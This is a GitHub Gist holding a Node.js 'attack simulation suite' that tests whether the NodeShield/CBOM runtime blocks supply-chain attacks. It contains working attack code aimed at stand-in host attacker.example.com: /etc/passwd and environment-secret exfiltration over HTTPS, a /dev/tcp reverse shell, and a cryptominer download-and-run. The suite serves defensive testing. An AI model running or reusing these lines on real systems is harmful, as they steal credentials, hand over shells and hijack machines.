Skip to content

Instantly share code, notes, and snippets.

@williamzujkowski
Created November 17, 2025 04:44
Show Gist options
  • Select an option

  • Save williamzujkowski/2bcf63ccd4558cdfc4106553a9e68400 to your computer and use it in GitHub Desktop.

Select an option

Save williamzujkowski/2bcf63ccd4558cdfc4106553a9e68400 to your computer and use it in GitHub Desktop.
NodeShield attack simulation suite for testing CBOM enforcement
#!/usr/bin/env node
/**
* NodeShield Attack Simulation Suite
*
* Simulates common supply chain attack patterns to validate CBOM enforcement.
* ⚠️ EDUCATIONAL ONLY - Do not use against systems you don't own.
*
* Based on NodeShield research dataset (arXiv 2508.13750)
* Attack vectors tested: credential theft, RCE, data exfiltration, cryptomining
*
* Usage:
* node attack-simulation.js --attack-type [credential|rce|exfil|crypto]
* node attack-simulation.js --run-all
*/
const fs = require('fs');
const { exec } = require('child_process');
const https = require('https');
class AttackSimulator {
constructor() {
this.results = {
attempted: 0,
blocked: 0,
succeeded: 0
};
}
/**
* Attack 1: Credential Exfiltration
* Simulates malicious package reading /etc/passwd and exfiltrating to C2
*/
async simulateCredentialTheft() {
console.log('\n[ATTACK] Credential Theft Simulation');
console.log('Vector: Malicious logger package exfiltrates /etc/passwd\n');
this.results.attempted++;
try {
// Attempt unauthorized filesystem read
const credentials = fs.readFileSync('/etc/passwd', 'utf8');
console.log(' ✗ Read /etc/passwd (SHOULD BE BLOCKED)');
// Attempt network egress
const req = https.request('https://attacker.example.com/steal', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' }
});
req.write(credentials);
req.end();
console.log(' ✗ Exfiltrated credentials (SHOULD BE BLOCKED)');
this.results.succeeded++;
return { success: true, blocked: false };
} catch (err) {
if (err.message.includes('CBOM') || err.message.includes('NodeShield')) {
console.log(' ✓ BLOCKED by NodeShield');
console.log(` Reason: ${err.message}`);
this.results.blocked++;
return { success: false, blocked: true };
}
throw err;
}
}
/**
* Attack 2: Remote Code Execution
* Simulates compromised debug package spawning reverse shell
*/
async simulateRCE() {
console.log('\n[ATTACK] Remote Code Execution Simulation');
console.log('Vector: Compromised debug module spawns reverse shell\n');
this.results.attempted++;
try {
// Attempt unauthorized process execution
exec('/bin/sh -i >& /dev/tcp/attacker.example.com/4444 0>&1', (err) => {
if (err) {
console.log(' ✗ Reverse shell spawned (SHOULD BE BLOCKED)');
}
});
this.results.succeeded++;
return { success: true, blocked: false };
} catch (err) {
if (err.message.includes('CBOM') || err.message.includes('NodeShield')) {
console.log(' ✓ BLOCKED by NodeShield');
console.log(` Reason: ${err.message}`);
this.results.blocked++;
return { success: false, blocked: true };
}
throw err;
}
}
/**
* Attack 3: Data Exfiltration
* Simulates malicious analytics package stealing environment variables
*/
async simulateDataExfiltration() {
console.log('\n[ATTACK] Data Exfiltration Simulation');
console.log('Vector: Malicious analytics package steals API keys from env\n');
this.results.attempted++;
try {
// Gather sensitive environment variables
const sensitiveData = {
keys: Object.keys(process.env).filter(k =>
k.includes('API') || k.includes('SECRET') || k.includes('TOKEN')
).reduce((acc, k) => {
acc[k] = process.env[k];
return acc;
}, {})
};
console.log(` ✗ Collected ${Object.keys(sensitiveData.keys).length} secrets`);
// Attempt to POST to attacker C2
const payload = JSON.stringify(sensitiveData);
const req = https.request('https://attacker.example.com/exfil', {
method: 'POST',
headers: { 'Content-Type': 'application/json' }
});
req.write(payload);
req.end();
console.log(' ✗ Exfiltrated secrets (SHOULD BE BLOCKED)');
this.results.succeeded++;
return { success: true, blocked: false };
} catch (err) {
if (err.message.includes('CBOM') || err.message.includes('NodeShield')) {
console.log(' ✓ BLOCKED by NodeShield');
console.log(` Reason: ${err.message}`);
this.results.blocked++;
return { success: false, blocked: true };
}
throw err;
}
}
/**
* Attack 4: Cryptomining
* Simulates malicious package installing cryptominer
*/
async simulateCryptomining() {
console.log('\n[ATTACK] Cryptomining Simulation');
console.log('Vector: Compromised package downloads and runs XMRig miner\n');
this.results.attempted++;
try {
// Attempt to download miner binary
https.get('https://attacker.example.com/xmrig', (res) => {
const miner = fs.createWriteStream('/tmp/miner');
res.pipe(miner);
miner.on('finish', () => {
console.log(' ✗ Downloaded miner binary (SHOULD BE BLOCKED)');
// Attempt to execute miner
exec('chmod +x /tmp/miner && /tmp/miner --donate-level 0', (err) => {
if (!err) {
console.log(' ✗ Miner executing (SHOULD BE BLOCKED)');
}
});
});
});
this.results.succeeded++;
return { success: true, blocked: false };
} catch (err) {
if (err.message.includes('CBOM') || err.message.includes('NodeShield')) {
console.log(' ✓ BLOCKED by NodeShield');
console.log(` Reason: ${err.message}`);
this.results.blocked++;
return { success: false, blocked: true };
}
throw err;
}
}
async runAll() {
console.log('===== NodeShield Attack Simulation Suite =====');
console.log('Testing 4 common supply chain attack vectors\n');
await this.simulateCredentialTheft();
await this.simulateRCE();
await this.simulateDataExfiltration();
await this.simulateCryptomining();
this.printResults();
}
printResults() {
console.log('\n===== Simulation Results =====');
console.log(`Total attacks attempted: ${this.results.attempted}`);
console.log(`Blocked by NodeShield: ${this.results.blocked}`);
console.log(`Successful attacks: ${this.results.succeeded}`);
console.log(`Prevention rate: ${((this.results.blocked / this.results.attempted) * 100).toFixed(1)}%`);
console.log('===============================\n');
}
}
// CLI handling
const args = process.argv.slice(2);
const simulator = new AttackSimulator();
if (args.includes('--run-all')) {
simulator.runAll();
} else if (args.includes('--attack-type')) {
const type = args[args.indexOf('--attack-type') + 1];
switch(type) {
case 'credential':
simulator.simulateCredentialTheft();
break;
case 'rce':
simulator.simulateRCE();
break;
case 'exfil':
simulator.simulateDataExfiltration();
break;
case 'crypto':
simulator.simulateCryptomining();
break;
default:
console.error('Unknown attack type. Use: credential, rce, exfil, crypto');
}
} else {
console.log('Usage:');
console.log(' node attack-simulation.js --run-all');
console.log(' node attack-simulation.js --attack-type [credential|rce|exfil|crypto]');
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment